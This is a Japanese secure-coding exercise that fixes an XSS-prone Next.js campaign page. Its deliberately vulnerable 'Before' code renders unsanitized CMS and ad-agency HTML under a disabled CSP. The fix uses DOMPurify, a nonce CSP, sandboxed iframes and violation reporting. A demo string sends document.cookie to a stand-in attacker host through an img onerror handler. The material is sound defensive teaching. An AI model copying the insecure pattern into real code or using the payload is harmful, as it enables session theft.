概要
dangerouslySetInnerHTMLは「渡すHTMLは安全」という契約を要求するAPI
API名自体が危険性を明示している。この契約をコードで強制する仕組み(サニタイズ関数を必ず経由させる設計)がなければ、CMS入稿や外部タグのような「信頼できない入力」がそのまま流し込まれてしまう。
CSPは「実行時の最後の防波堤」であり、unsafe-inline/unsafe-evalは防波堤そのものを壊す
サニタイズをすり抜けたスクリプトがあっても、正しく設定されたCSPなら実行をブロックできる。ワイルドカードやunsafe-*はこの最後の砦を無効化してしまう、多層防御の放棄に等しい設定。
第三者タグは自ページのDOM/JSコンテキストから分離するのが多層防御の基本
広告代理店から都度提供されるタグを直接HTML注入するのは「一蓮托生」の設計。iframe sandboxで実行コンテキストを隔離すれば、代理店側が乗っ取られても被害をiframe内に限定できる。
防御が機能しているかは「検知できて」初めて運用できる
CSPのreport-toはSLO監視やエラーバジェットと同じ発想。violationの発生自体を可観測性システムに流し込み、XSS試行の兆候を攻撃成立前に検知できるようにする。
問題
ECサイト MOps 販促システムチームが運用するキャンペーンLP配信サービスには、マーケター(非エンジニア)がCMS管理画面からキャンペーンごとの本文(リッチテキストHTML)を自由入力できる仕組みがある。さらに広告代理店から都度提供される計測タグ(HTML/JavaScript混在)も画面に埋め込んでいる。
- CMS入稿HTML・代理店タグの両方をサニタイズせず
dangerouslySetInnerHTMLでそのままDOM挿入している - CSPヘッダーが
default-src * 'unsafe-inline' 'unsafe-eval'という実質無効化に近い設定になっている - 他社事例として「代理店提供タグに難読化されたコードが混入していた」というインシデント報告があり、今の実装ではこれが起きるとサイト全体のXSSにつながる
制約・前提条件
- Next.js 15(App Router)、TypeScript
- サニタイズ処理(
isomorphic-dompurify等)を必ず経由させ、「信頼できない入力」を型・関数設計のレベルで区別すること(サニタイズを通さないHTMLがdangerouslySetInnerHTMLに渡る経路を残さない) - CSPは
unsafe-inline/unsafe-evalに頼らず、リクエストごとのnonce方式(script-src 'nonce-xxx' 'strict-dynamic')に切り替えること - 広告代理店提供の計測タグは、自ページのDOM/JSコンテキストに直接挿入せず、
iframe sandboxで実行コンテキストを分離すること - CSP違反(XSS試行の兆候)を
report-toで収集し、監視できるようにすること
悪いコード (Before)
import type { GetServerSideProps } from "next";
type Props = { html: string; trackingScript: string };
export default function CampaignPage({ html, trackingScript }: Props) {
return (
<>
{/* 問題1: CMS入稿HTMLをサニタイズせずそのままDOM挿入 */}
<div dangerouslySetInnerHTML={{ __html: html }} />
{/* 問題2: 広告代理店提供の計測タグも無検証で挿入 */}
<div dangerouslySetInnerHTML={{ __html: trackingScript }} />
</>
);
}
export const getServerSideProps: GetServerSideProps = async (ctx) => {
const campaignId = ctx.params?.id as string;
const campaign = await cmsClient.getCampaign(campaignId);
return {
props: {
html: campaign.bodyHtml, // マーケターの自由入力
trackingScript: campaign.trackingScript, // 代理店提供タグ(HTML/JS混在)
},
};
};
// next.config.js(問題あり)
const nextConfig = {
async headers() {
return [{
source: "/(.*)",
headers: [{
key: "Content-Security-Policy",
// 問題3〜5: ワイルドカード+unsafe-inline+unsafe-evalで実質無効化、report-to無し
value: "default-src * 'unsafe-inline' 'unsafe-eval'",
}],
}];
},
};
<script>やイベントハンドラ属性が混入するとそのまま実行されるヒント(段階的開示)
ヒント1 — 方向性
dangerouslySetInnerHTMLというAPI名そのものが「これは危険な操作である」と教えてくれている。このAPIは暗黙に「渡すHTMLは呼び出し元が安全性を保証済みである」という契約を要求しているが、Bad実装ではCMS入稿値(マーケターの自由入力)と外部代理店タグという2つの「信頼できない入力」をノーチェックでその契約に流し込んでいる。CSP側も同様で、「なぜunsafe-inline/unsafe-evalが必要になったのか」を辿ると、根本原因は「インラインscriptをその場しのぎで許可せざるを得ない設計」にある。サニタイズ(入口の防御)とCSP(実行時の最後の防波堤)が両方とも機能していない状態だと理解すること。
ヒント2 — アプローチ
- 問題1・6・7: 「信頼できない入力」をレンダリングする関数は、必ずサニタイズ関数(
DOMPurify.sanitize)の戻り値だけを受け取るように設計を強制する(許可するタグ・属性をホワイトリストで明示し、onerror/onclick等のイベントハンドラ属性を明示的に禁止する) - 問題3・4: CSPは
unsafe-inlineを使わず、リクエストごとに一意なnonceを発行し、script-src 'nonce-xxx' 'strict-dynamic'のように「このnonceを持つscriptだけ実行を許可する」方式に切り替える - 問題2: 広告代理店の計測タグは、HTMLとして直接挿入するのではなく
<iframe sandbox="allow-scripts allow-same-origin">で実行コンテキストを分離し、許可済みドメインのみ埋め込み可能にする - 問題5: CSP違反を
Report-Toヘッダー +/api/csp-reportのようなエンドポイントで収集し、DataDog等へ転送して「violationが起きている」こと自体を監視する
ヒント3 — コードの骨格
// サニタイズ関数の骨格
export function sanitizeCampaignHtml(rawHtml: string): string {
return DOMPurify.sanitize(rawHtml, {
ALLOWED_TAGS: [/* ホワイトリスト */],
ALLOWED_ATTR: [/* ホワイトリスト */],
FORBID_ATTR: ["onerror", "onload", "onclick"],
});
}
// middleware.ts — nonceベースCSPの骨格
export function middleware(request: NextRequest) {
const nonce = crypto.randomUUID();
const csp = [
`default-src 'self'`,
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
// ...
].join("; ");
// レスポンスヘッダーへ設定してページ側にnonceを伝搬する
}
{/* 外部タグはiframe sandboxで実行コンテキストを分離 */}
<iframe src={trackingIframeSrc} sandbox="allow-scripts allow-same-origin" />
問題点分析(7点)
| # | 問題点 | 分類 | 改善方法 |
|---|---|---|---|
| 1 | CMS入稿HTMLを無検証でDOM挿入 | 入力検証 | DOMPurifyでホワイトリスト方式サニタイズ |
| 2 | 代理店タグも無検証で挿入、サプライチェーンリスク直結 | 実行分離 | iframe sandbox + ドメインホワイトリスト |
| 3 | CSPがワイルドカード+unsafe-inline+unsafe-evalで実質無効化 | CSP設計 | script-src 'nonce-xxx' 'strict-dynamic' |
| 4 | nonce/hashベースの許可方式になっていない | 最小権限 | リクエスト毎にnonceを発行しmiddlewareで伝搬 |
| 5 | report-to未設定でCSP違反を検知できない | 可観測性 | report-to + /api/csp-reportでDataDogへ監視 |
| 6 | 信頼できない入力と信頼できるHTMLを区別していない | 設計原則 | サニタイズ済み文字列のみ扱う専用関数に集約 |
| 7 | SSR時点でも未サニタイズのまま出力 | サーバー側対策 | getServerSideProps/Server Componentでサニタイズ後に渡す |
構成図 — Bad vs Good(SVG)
模範解答
<div dangerouslySetInnerHTML={{ __html: html }} />
<div dangerouslySetInnerHTML={{ __html: trackingScript }} />
// next.config.js
value: "default-src * 'unsafe-inline' 'unsafe-eval'"
// lib/sanitize-campaign-html.ts
import DOMPurify from "isomorphic-dompurify";
const ALLOWED_TAGS = [
"p", "b", "strong", "em", "a", "img", "br",
"span", "div", "ul", "li", "ol", "h1", "h2", "h3",
] as const;
const ALLOWED_ATTR = ["href", "src", "alt", "class", "target", "rel"];
/**
* CMS入稿のキャンペーン本文HTMLをサニタイズする。
* onerror/onload/onclick等のイベントハンドラ属性やscriptタグを除去し、
* ホワイトリスト外のタグ・属性はすべて剥ぎ取る(修正1・修正6)。
*/
export function sanitizeCampaignHtml(rawHtml: string): string {
return DOMPurify.sanitize(rawHtml, {
ALLOWED_TAGS: [...ALLOWED_TAGS],
ALLOWED_ATTR,
FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover"],
FORBID_TAGS: ["script", "iframe", "object", "embed"],
});
}
const ALLOWED_TRACKING_HOSTS: ReadonlySet<string> = new Set([
"ads.trusted-partner-a.example.com",
"tag.trusted-partner-b.example.com",
]);
/** 代理店タグURLが許可済みドメインかどうかを判定する(修正2)。 */
export function isAllowedTrackingUrl(url: string): boolean {
try {
return ALLOWED_TRACKING_HOSTS.has(new URL(url).host);
} catch {
return false;
}
}
// middleware.ts — nonceベースCSP(修正3・修正4)
import { NextResponse } from "next/server";
import type { NextRequest } from "next/server";
const CSP_REPORT_GROUP = "csp-endpoint";
export function middleware(request: NextRequest): NextResponse {
const nonce = crypto.randomUUID(); // リクエスト毎に一意なnonce
const csp = [
"default-src 'self'",
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
`style-src 'self' 'nonce-${nonce}'`,
"img-src 'self' https://cdn.example.com data:",
"frame-src https://ads.trusted-partner-a.example.com https://tag.trusted-partner-b.example.com",
"base-uri 'self'",
"object-src 'none'",
`report-to ${CSP_REPORT_GROUP}`, // 修正5
].join("; ");
const response = NextResponse.next();
response.headers.set("Content-Security-Policy", csp);
response.headers.set("x-nonce", nonce);
response.headers.set(
"Report-To",
JSON.stringify({
group: CSP_REPORT_GROUP,
max_age: 10886400,
endpoints: [{ url: "/api/csp-report" }],
})
);
return response;
}
export const config = { matcher: "/campaign/:path*" };
// app/campaign/[id]/page.tsx — サニタイズ済みHTML + iframe分離(修正1・2・7)
import { sanitizeCampaignHtml, isAllowedTrackingUrl } from "@/lib/sanitize-campaign-html";
import { cmsClient } from "@/lib/cms-client";
export default async function CampaignPage({ params }: { params: { id: string } }) {
const campaign = await cmsClient.getCampaign(params.id);
// SSRの時点(ハイドレーション前のHTMLソース)で既にサニタイズ済みにする(修正7)
const safeHtml = sanitizeCampaignHtml(campaign.bodyHtml);
const trackingUrl = isAllowedTrackingUrl(campaign.trackingScriptUrl)
? campaign.trackingScriptUrl
: null; // 許可外ドメインは埋め込み自体を拒否
return (
<>
<div dangerouslySetInnerHTML={{ __html: safeHtml }} />
{trackingUrl && (
<iframe
src={trackingUrl}
sandbox="allow-scripts allow-same-origin"
referrerPolicy="no-referrer"
title="campaign-tracking"
style={{ display: "none" }}
/>
)}
</>
);
}
// app/api/csp-report/route.ts — CSP違反をDataDogへ(修正5)
import { logger } from "@/lib/logger";
export async function POST(request: Request): Promise<Response> {
const report = await request.json().catch(() => null);
if (report) logger.warn("csp_violation", { report });
return new Response(null, { status: 204 });
}
const malicious = '<p>今だけ半額!</p><img src=x onerror="fetch(\'https://evil.example/steal?c=\'+document.cookie)">';
console.log(sanitizeCampaignHtml(malicious));
// → "<p>今だけ半額!</p><img src=\"x\">"
// (onerror属性が除去され、悪意あるfetch呼び出しは実行されない)
console.log(isAllowedTrackingUrl("https://ads.trusted-partner-a.example.com/tag.html"));
// → true
console.log(isAllowedTrackingUrl("https://unknown-agency.example/tag.html"));
// → false(許可リスト外のためiframe埋め込み自体が行われない)
// Before(Bad): 上記maliciousな文字列がそのままdangerouslySetInnerHTMLへ渡ると、
// ブラウザは
のonerror属性を評価し、埋め込まれたJavaScriptをそのまま実行する
// (onerrorはsrc読み込み失敗時に発火するため、src=xのような無効な値と組み合わせると確実に発火する)
// After(Good): DOMPurifyがonerror属性を除去するため、
// 同じ入力がdangerouslySetInnerHTMLに渡ってもスクリプトは実行されない。
// 万が一サニタイズ層をすり抜けるケースがあっても、
// nonceを持たないインラインscriptはCSP(script-src 'nonce-xxx')によりブラウザ側で実行がブロックされ、
// そのブロック自体がreport-to経由でDataDogへ通知される
| 問題 | 修正内容 | 効果 |
|---|---|---|
| 1 サニタイズなし | DOMPurifyでホワイトリスト方式サニタイズ | onerror等のイベントハンドラ属性・scriptタグを除去 |
| 2 代理店タグ無検証挿入 | ドメインホワイトリスト判定 + iframe sandbox | 実行コンテキストを分離し被害範囲を限定 |
| 3・4 CSP実質無効 | script-src 'nonce-xxx' 'strict-dynamic' | unsafe-inline/evalを排除しつつ正当なscriptのみ許可 |
| 5 violation検知不能 | report-to + /api/csp-report | CSP違反(XSS試行の兆候)をDataDogで監視 |
| 6 信頼境界の不在 | サニタイズ済み文字列のみ扱う専用関数に集約 | 未サニタイズHTMLが混入する経路をレビューで発見しやすくする |
| 7 SSR時点で未対策 | getServerSideProps/Server Componentでサニタイズ後に渡す | ハイドレーション前のHTMLソースも安全にする |
ポイント解説
dangerouslySetInnerHTMLは「サニタイズ済みHTMLしか渡さない」という運用ルールをコード上で強制できない — だからこそ、サニタイズ関数を通過した文字列だけを扱う専用関数にレンダリング処理を集約し、「未サニタイズのHTMLがこの関数に渡る経路」自体をコードレビューで発見しやすくする設計にする。unsafe-inlineという「全インラインscriptを許可する」抜け穴を、nonceという「リクエストごとに変わる合言葉」で置き換える — 正当なscriptだけを動かしながら攻撃者が注入したscriptの実行を防げる。nonceは推測不可能な値であり、ビルド時ではなくリクエストごとに生成することが前提。report-toは、攻撃が成立する前に「violationが発生している」という兆候を可観測性システムで検知する仕組みである — SLO監視やエラーバジェットと同じ発想で、「防御が機能しているか」自体を運用上モニタリングする対象にする。実務への応用
キャンペーンLP以外にも、レビュー投稿本文・問い合わせフォームの自由記述・CMS管理下のバナー原稿・お知らせ欄など「非エンジニアが入力できるHTML/リッチテキスト」を扱う箇所全てに同じ「サニタイズ関数を通過した文字列のみレンダリングする」設計を横展開できる。
EC/MOpsチームはマーケターがノーコード/ローコードでLPやバナーを作れる仕組みを持つことが多く、この「非エンジニアの自由入力経路」がXSSの主要な侵入口になりやすいため、CMS連携機能を新規に作る際は必ずサニタイズ層を通す設計をデフォルトにする。
今日のまとめ
dangerouslySetInnerHTMLとワイルドカード+unsafe-inlineのCSPの組み合わせは、XSSに対する多層防御が「入口(サニタイズ)」にも「最後の砦(CSP)」にも存在しない状態であり、CMS入稿という「信頼できない入力」を扱うEC販促システムでは特に危険度が高い。サニタイズ関数・nonceベースCSP・iframeによる実行コンテキスト分離・CSP違反の監視という4点セットで、「入力を疑い・実行を制限し・違反を検知する」多層防御を構築するのが今回の核心である。
次のステップ
- 発展問題: サニタイズ済みHTMLをCDNでキャッシュしている場合、CMS側で不正なHTMLが混入したことが事後に判明したら、既に配信済み・キャッシュ済みのページをどう無効化・再検証するか設計せよ。
- 発展問題: 外部から読み込む静的JS(分析タグ等、iframe化できないもの)に対して、Subresource Integrity(SRI)の
integrity属性をどう運用(ハッシュの取得・更新フロー)に組み込むか検討せよ。 - 参考: OWASP Top 10(A03: Injection / XSS)、MDN「Content-Security-Policy」、
isomorphic-dompurifyドキュメント、Next.js公式「Content Security Policy」ガイド